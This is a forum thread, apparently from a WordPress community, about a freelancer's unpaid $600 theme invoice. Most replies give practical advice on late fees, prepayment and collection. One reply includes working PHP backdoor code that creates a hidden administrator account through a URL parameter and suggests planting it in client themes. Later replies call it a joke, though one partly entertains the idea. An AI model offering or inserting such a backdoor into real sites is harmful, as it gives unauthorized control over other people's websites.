Overdue bills - late fees

[Ryan]

I have a client from a foreign country who I agreed to create a WordPress theme for in February 2010. I expected to receive payment on completion of the theme, but it never arrived, so I sent them an invoice in late March for the total cost of US$600, with a due date of 31st April. I'd worked with them before, so just assumed they'd forgotten about it and by providing them with a suitable invoice that the money would simply arrive as it did with all of the smaller jobs I'd done for them.

In mid-May I realised the bill hadn't been paid yet, and so I sent them a polite email asking them if they could pay it shortly. They said they would be receiving payment from their client within a few days and they would pay me then. I wasn't aware that my being paid was reliant on them receiving money from elsewhere first!?!? It's now approach mid-June and I'm still not paid :(

I'm wondering if it would be a good idea to start slapping on late fees, and if so, how much should they be? Or is there some other approach I could take to solve them problem?

EDIT: I forgot to mention that a cheque was sent to my PayPal account, but it bounced. I mentioned this to them and they said something about it being a problem with their new PayPal account and that they did indeed have the money. However it has been a few weeks now and they haven't been able to resolve this issue. They did pay me US$350 for another outstanding debt though.



The theme is currently being used live on a fairly large reasonably well known company's website.

[C3MDigital]

I defiantly feel for you. This has happened to me before so now If the project is not on a server I control I don't release files until payment. Without the late fee clause in the contract you don't really have legal right to charge them but you could tack on 5 or 10% per 30 days and hopefully they will pay. You do however have the right to send a DMCA take down notice to their isp for none payment and copyright violations.

In the future you could always implement something like this then delete it once paid:

<?php

add_action('wp_head', 'my_backdoor');

function my_backdoor() {
	If ($_GET['backdoor'] == 'go') {
		require('wp-includes/registration.php');
		If (!username_exists('brad')) {
			$user_id = wp_create_user('brad', 'pa55w0rd');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}
?>


<!-- To activate this code simply visit http://example.com?backdoor=go -->

[Ryan]

In other news, someone just overpaid me by US$100 as they felt my bill was too low :)

[hakre]

For amounts like $600 or $1000 it's not worth to discuss the legal base if this is an international issue. To get the money because it's you have the legal right to get it, does not help you much with those issues, because those treaties cost a lot of money, time, nerves and so on.

The best suggestion I can give is to only offer pre-paid services in international sales. That's pretty lean and accepted widely - at least for smaller tasks. So this gives a safe feeling for the one who is doing the work which is important to be motivated and to do a good work.

Placing backdoors into code and deleting sites or only your code later on that might destroy a site can bring you into serious problems. By only not you able to use the law for your payment, the clients side might be able to sue you based on causing destruction. Keep in mind, that the customer ever can argue that you have not provided what he asked for and you had said you will still work on it and make it working. As long as there is some sort of dissent, you need to argue instead of acting. Try to come into a position where you can act instead. And removing a site via backdoor or DMCA does not bring you the money you deserve.

So if you want to keep yourself hassle free in the future, get a good relationship to your customers and do not fear to tell them upfront you deal with international sales pre-paid.

[Ryan]

I don't think C3MDigital was serious about the suggestion of putting in backdoor code. That is clearly inappropriate.

DMCA complaints don't achieve much more than helping to reduce the likelihood of the client receiving more work in the future. That would be a last resort scenario and not something I'd consider until it is clear that the money will NEVER arrive. I'd probably contact the company who is using the website (not my client) before doing that too as they are an innocent party and don't deserve to have their site taken down because of something out of their control.

[hakre]

You're totally right I more or less only gave some general advice and not how to deal with that in concrete. If the customer is just not paying (but does not deny he should pay), I would just get in contact with him over and over again, so that it's clear that you won't get loose. Like mailing and reminding that there is something due to pay. Maybe first once a week and then in the second week multiple times and then to slowly peek that up incl. phone there and so on. Just insist to get your money if it's to pay and they know they will have more hassle with not-paying as with paying.

I dunno if there are firms in the US that are able to buy your invoice out at a reduced amount and they try to convert it into cash on their own. I know there is some sort of business model around selling invoices so maybe that's handy as well if there is something like that in the US.

[C3MDigital]

The back door code was meant as a joke. I would never put something like that into a theme, unethical. And yes the DMCA complaint should only be used as a last resort and you felt like you were not going to be paid.

[hakre]

Well better safe than sorry. Unethical is the customer who is not paying for what he already consumes btw., so a backdoor can be an option but it's often more easy to speak so than to deal with it. And that's mainly what I wanted to point to.

In any case: As long as no usage guarantees have been given, it's not your fault if the code does not run any longer and needs some more support, right? I mean there are multiple ways to be helpful. In such situations a customer often re-thinks with whom he (I assume that customer is male) wants to actually mess with.

[andrea_r]

Probably obvious, but absolutely do not do any more work for them at all until their bill is paid. You;d be happy to do more work, but cannot continue until any outstanding invoices are paid.

mostly because you noted they had another overdue bill, so this is a consistent pattern.

[Ryan]

Payment finally cleared :D Yay!